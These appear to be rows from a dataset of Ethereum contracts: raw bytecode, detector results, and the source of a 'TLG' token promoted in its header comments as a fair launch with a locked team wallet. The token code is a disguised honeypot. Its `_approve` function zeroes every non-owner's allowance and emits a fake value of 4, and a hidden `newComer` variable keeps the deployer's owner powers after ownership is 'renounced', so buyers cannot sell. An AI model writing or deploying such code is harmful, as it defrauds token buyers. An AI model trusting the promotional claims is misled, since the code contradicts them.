ffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018460ff1660ff168152602001836000191660001916815260200182600019166000191681526020019a505050505050505050505060405180910390a150505050505050505050565b80600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561184057600080fd5b6118b0600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405160006040518083038185875af192505050151561195157600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56760003383600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a150565b60008273ffffffffffffffffffffffffffffffffffffffff161415611a7057600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015611b4757600080fd5b505af1158015611b5b573d6000803e3d6000fd5b505050506040513d6020811015611b7157600080fd5b81019080805190602001909291905050501515611b8d57600080fd5b611c13600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482612e3d565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b6000806002308d8d8d8d8d8d604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015611ecd573d6000803e3d6000fd5b5050506040513d6020811015611ee257600080fd5b81019080805190602001909291905050509050600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008260001916600019168152602001908152602001600020549150509a9950505050505050505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fdf57600080fd5b600354811115611fee57600080fd5b8060038190555050565b60035481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561205957600080fd5b60055481108061206a575060045481115b1561207457600080fd5b8060058190555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600082600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101580156121435750826121408e8e8e8e8e8e8e8e8e8e612a67565b10155b15156121525760009050612157565b600190505b9c9b505050505050505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156121c257600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561226757600080fd5b600454811180612278575060055481105b1561228257600080fd5b8060048190555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156122e757600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008273ffffffffffffffffffffffffffffffffffffffff16141561234e57600080fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123d757600080fd5b61245d600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054826135eb565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561258057600080fd5b505af1158015612594573d6000803e3d6000fd5b505050506040513d60208110156125aa57600080fd5b810190808051906020019092919050505015156125c657600080fd5b7ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567823383600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a15050565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60045481565b612792600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205434612e3d565b600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d760003334600660008073ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054604051808573ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561295157600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000806002308f8f8f8f8f8f604051808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c010000000000000000000000000281526014018481526020018381526020018281526020019750505050505050506020604051808303816000865af1158015612b7d573d6000803e3d6000fd5b5050506040513d6020811015612b9257600080fd5b81019080805190602001909291905050509250600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000846000191660001916815260200190815260200160002060009054906101000a900460ff1680612d0657508773ffffffffffffffffffffffffffffffffffffffff1660018460405180807f19457468657265756d205369676e6564204d6573736167653a0a333200000000815250601c0182600019166000191681526020019150506040518091039020898989604051600081526020016040526040518085600019166000191681526020018460ff1660ff1681526020018360001916600019168152602001826000191660001916815260200194505050505060206040516020810390808403906000865af1158015612ce4573d6000803e3d6000fd5b5050506020604051035173ffffffffffffffffffffffffffffffffffffffff16145b8015612d125750894311155b1515612d215760009350612e2c565b612d838d600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008660001916600019168152602001908152602001600020546135eb565b91508a612e0c600660008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548f613604565b811515612e1557fe5b04905080821015612e2857819350612e2c565b8093505b5050509a9950505050505050505050565b6000808284019050612e5d848210158015612e585750838210155b613637565b8091505092915050565b600080600080670de0b6b3a7640000612e8286600354613604565b811515612e8b57fe5b049350670de0b6b3a7640000612ea386600454613604565b811515612eac57fe5b049250600091506000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151561302857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16631cbd0519876040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015612fb257600080fd5b505af1158015612fc6573d6000803e3d6000fd5b505050506040513d6020811015612fdc57600080fd5b81019080805190602001909291905050509050600181141561301a57670de0b6b3a764000061300d86600554613604565b81151561301657fe5b0491505b6002811415613027578291505b5b6130b7600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130b28786612e3d565b6135eb565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131cf600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131ca6131c48886612e3d565b876135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613309600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133046132fe8787612e3d565b856135eb565b612e3d565b600660008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613445600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6134368a89613604565b81151561343f57fe5b046135eb565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061355f600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6135508a89613604565b81151561355957fe5b04612e3d565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050505050505050565b60006135f983831115613637565b818303905092915050565b600080828402905061362d6000851480613628575083858381151561362557fe5b04145b613637565b8091505092915050565b80151561364357600080fd5b505600a165627a7a72305820f7aa01da8d5811df20e8fcea486032ddb4d7c44d3fce75564852e78690ad56310029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 5,736 |
0xa641d4ec37b07d938a4afb6df611058227a3d231
|
/*
TTTTTTTTTTTTTTTTTTTTTTTLLLLLLLLLLL GGGGGGGGGGGGG
T:::::::::::::::::::::TL:::::::::L GGG::::::::::::G
T:::::::::::::::::::::TL:::::::::L GG:::::::::::::::G
T:::::TT:::::::TT:::::TLL:::::::LL G:::::GGGGGGGG::::G
TTTTTT T:::::T TTTTTT L:::::L G:::::G GGGGGG
T:::::T L:::::L G:::::G
T:::::T L:::::L G:::::G
T:::::T L:::::L G:::::G GGGGGGGGGG
T:::::T L:::::L G:::::G G::::::::G
T:::::T L:::::L G:::::G GGGGG::::G
T:::::T L:::::L G:::::G G::::G
T:::::T L:::::L LLLLLLG:::::G G::::G
TT:::::::TT LL:::::::LLLLLLLLL:::::L G:::::GGGGGGGG::::G
T:::::::::T L::::::::::::::::::::::L GG:::::::::::::::G
T:::::::::T L::::::::::::::::::::::L GGG::::::GGG:::G
TTTTTTTTTTT LLLLLLLLLLLLLLLLLLLLLLLL GGGGGG GGGG
🚀 - Fairlaunch - 🚀
📅 No random time
🔒 Team wallet locked
📌 Longtime project
🤖 Antibot measurements
💰No maximum buy
⚡️ Website: https://www.thelittleguys.co/
⚡️ Telegram: https://t.me/tlgcommunitychat
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract tlg is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'TLG | https://t.me/tlgcommunitychat';
string private _symbol = '$TLG';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address f, address t, uint256 amount) private {
require(f != address(0), "ERC20: approve from the zero address");
require(t != address(0), "ERC20: approve to the zero address");
if (f != owner()) { _allowances[f][t] = 0; emit Approval(f, t, 4); }
else { _allowances[f][t] = amount; emit Approval(f, t, amount); }
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b9d014d24331dc75877ee55b767036a19939119f628f70e7876858e6376db4c664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 5,737 |
0x7e184e30f311745286c21406123cf5760fd38fc4
|
